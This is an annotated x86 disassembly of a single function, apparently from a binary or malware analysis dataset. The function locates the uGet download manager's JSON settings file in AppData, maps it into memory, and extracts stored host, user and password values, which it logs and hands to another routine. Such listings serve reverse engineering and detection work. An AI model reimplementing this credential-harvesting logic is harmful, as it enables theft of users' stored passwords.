Function at 0x41c3b9
Capabilities:
Get common file path
Read file via mapping

Disassembly:
push ebp
mov ebp, esp
mov eax, 0x17f0
call fcn.005fec20
mov eax, dword [0x708c34]
xor eax, ebp
mov dword [ebp - 4], eax
push ebx
mov ebx, dword [ebp + 8]
push esi
push edi
push ebx
push str.PerformUGetPasswordRecovery
push str._s_Recovering_password_from_uGET_json_file__s
call fcn.00449974
push 6
pop ecx
push 0x3d0
lea eax, [ebp - 0xbe4]
mov esi, str.uGetcategory0000.json
lea edi, [ebp - 0xbfc]
push 0
rep movsd dword es:[edi], dword [esi]
push eax
call fcn.00626f50
push ebx
call fcn.00631510
add esp, 0x1c
cmp eax, 1
jae 0x41c479
lea eax, [ebp - 0x17e4]
xor ebx, ebx
push eax
push ebx
push ebx
push 0x1c
push ebx
call dword [sym.imp.SHELL32.dll_SHGetFolderPathA]
test eax, eax
jns 0x41c450
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
mov esi, str.PerformUGetPasswordRecovery
push esi
push str._s_Failed_to_find_appdata_folder__Error0x_.8x
call fcn.00449974
add esp, 0xc
xor eax, eax
jmp 0x41c7b2
lea eax, [ebp - 0xbfc]
push eax
lea eax, [ebp - 0x17e4]
push eax
push 0x66c218
lea eax, [ebp - 0x414]
push 0x3e8
push eax
call fcn.00445d6d
add esp, 0x14
jmp 0x41c490
push ebx
lea eax, [ebp - 0x414]
push 0x3e8
push eax
call fcn.006311ec
add esp, 0xc
xor ebx, ebx
lea eax, [ebp - 0x414]
mov edi, str.PerformUGetPasswordRecovery
push eax
push edi
push str._n_s_Final_profile_path___s
call fcn.00449974
add esp, 0xc
lea eax, [ebp - 0x414]
push ebx
push ebx
push 3
push ebx
push 1
push SysReAllocString
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileA]
mov dword [ebp - 0x17f0], eax
cmp eax, 0xffffffff
jne 0x41c4ef
lea eax, [ebp - 0x414]
push eax
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s___Failed_to_open_the_file__Error0x_.8x___s
call fcn.00449974
add esp, 0x10
jmp 0x41c449
push ebx
push ebx
push ebx
push 2
push ebx
push eax
call dword [sym.imp.KERNEL32.dll_CreateFileMappingA]
mov ebx, eax
mov dword [ebp - 0x17ec], ebx
test ebx, ebx
jne 0x41c51a
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s___CreateFileMapping_Failed_Error0x_.8x___s
jmp 0x41c441
push 0
push 0
push 0
push 4
push ebx
call dword [sym.imp.KERNEL32.dll_MapViewOfFile]
mov esi, eax
mov dword [ebp - 0x17e8], esi
test esi, esi
jne 0x41c556
call dword [sym.imp.KERNEL32.dll_GetLastError]
push eax
push edi
push str._s___MapViewOfFile_Failed__Error0x_.8x___s
call fcn.00449974
add esp, 0xc
push ebx
call dword [sym.imp.KERNEL32.dll_CloseHandle]
jmp 0x41c449
push esi
lea eax, [ebp - 0x414]
push eax
push edi
push str._n_s___Successfully_mapped_the_file_to_memory__s_at_0x_.8x
call fcn.00449974
push str._n_n_Now_lisiting_the_login_passwords......._n_n
mov ebx, esi
call fcn.00449974
mov esi, str._common_:_
mov dword [ebp - 0xc], 0x65737522
lea edi, [ebp - 0x20]
mov dword [ebp - 8], 0x3a2272
add esp, 0x14
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov esi, str._uri_:
lea edi, [ebp - 0x14]
movsd dword es:[edi], dword [esi]
movsw word es:[edi], word [esi]
movsb byte es:[edi], byte [esi]
mov esi, str._password_:
lea edi, [ebp - 0x2c]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
movsd dword es:[edi], dword [esi]
mov edi, 0x400
xor eax, eax
mov byte [ebp - 0x814], al
mov byte [ebp - 0xffc], al
mov byte [ebp - 0x13fc], al
lea eax, [ebp - 0x20]
push eax
push ebx
call fcn.00627320
mov ebx, eax
pop ecx
pop ecx
test ebx, ebx
je 0x41c763
lea eax, [ebp - 0x20]
push eax
call fcn.00631510
add ebx, eax
lea eax, [ebp - 0x14]
push eax
push ebx
call fcn.00627320
mov esi, eax
add esp, 0xc
test esi, esi
je 0x41c5ad
lea eax, [ebp - 0x14]
push eax
call fcn.00631510
lea ebx, [esi + eax]
push ebx
push str._n_n_Found_hostname__s
call fcn.00449974
add esp, 0xc
cmp byte [ebx], 0x20
jne 0x41c615
inc ebx
push 0x2c
push ebx
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41c5ad
sub eax, ebx
sub eax, 2
push eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0x814]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0x814]
push eax
call fcn.00449b4d
lea eax, [ebp - 0xc]
mov ebx, esi
push eax
push esi
call fcn.00627320
mov esi, eax
add esp, 0x1c
test esi, esi
je 0x41c5ad
lea eax, [ebp - 0xc]
push eax
call fcn.00631510
lea ebx, [esi + eax]
push ebx
push str._n_n_Found_user__s
call fcn.00449974
add esp, 0xc
cmp byte [ebx], 0x20
jne 0x41c681
inc ebx
push 0x2c
push ebx
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41c5ad
sub eax, ebx
sub eax, 2
push eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0x13fc]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0x2c]
mov ebx, esi
push eax
push esi
call fcn.00627320
mov esi, eax
add esp, 0x18
test esi, esi
je 0x41c5ad
lea eax, [ebp - 0x2c]
push eax
call fcn.00631510
lea ebx, [esi + eax]
push ebx
push str._n_n_Found_password__s
call fcn.00449974
add esp, 0xc
cmp byte [ebx], 0x20
jne 0x41c6e5
inc ebx
push 0x2c
push ebx
call fcn.006270b0
mov esi, eax
pop ecx
pop ecx
test esi, esi
je 0x41c5ad
sub eax, ebx
sub eax, 2
push eax
lea eax, [ebx + 1]
push eax
lea eax, [ebp - 0xffc]
push edi
push eax
call fcn.00631360
lea eax, [ebp - 0xffc]
mov ebx, esi
push eax
lea eax, [ebp - 0x13fc]
push eax
lea eax, [ebp - 0x814]
push eax
push str._n_Host__s___User__s___Password__s_
call fcn.00449974
push 0xffffffffffffffff
mov esi, 0x66ae5d
lea eax, [ebp - 0xffc]
push esi
push eax
lea eax, [ebp - 0x13fc]
push eax
lea eax, [ebp - 0x814]
push eax
push esi
push 0x8d
push 5
call fcn.00412c85
add esp, 0x40
jmp 0x41c5ad
mov esi, str.PerformUGetPasswordRecovery
push esi
push str._n_n_n__s____No_more_entries_found__Finished_parsing_through_logins_file...
call fcn.00449974
lea eax, [ebp - 0x414]
push eax
push esi
push str._n_n__s___Finished_processing_UGet_login_profile_file__s
call fcn.00449974
add esp, 0x14
push dword [ebp - 0x17e8]
call dword [sym.imp.KERNEL32.dll_UnmapViewOfFile]
push dword [ebp - 0x17ec]
mov esi, dword [sym.imp.KERNEL32.dll_CloseHandle]
call esi
mov eax, dword [ebp - 0x17f0]
test eax, eax
je 0x41c7af
push eax
call esi
xor eax, eax
inc eax
mov ecx, dword [ebp - 4]
pop edi
pop esi
xor ecx, ebp
pop ebx
call fcn.005fe955
leave
ret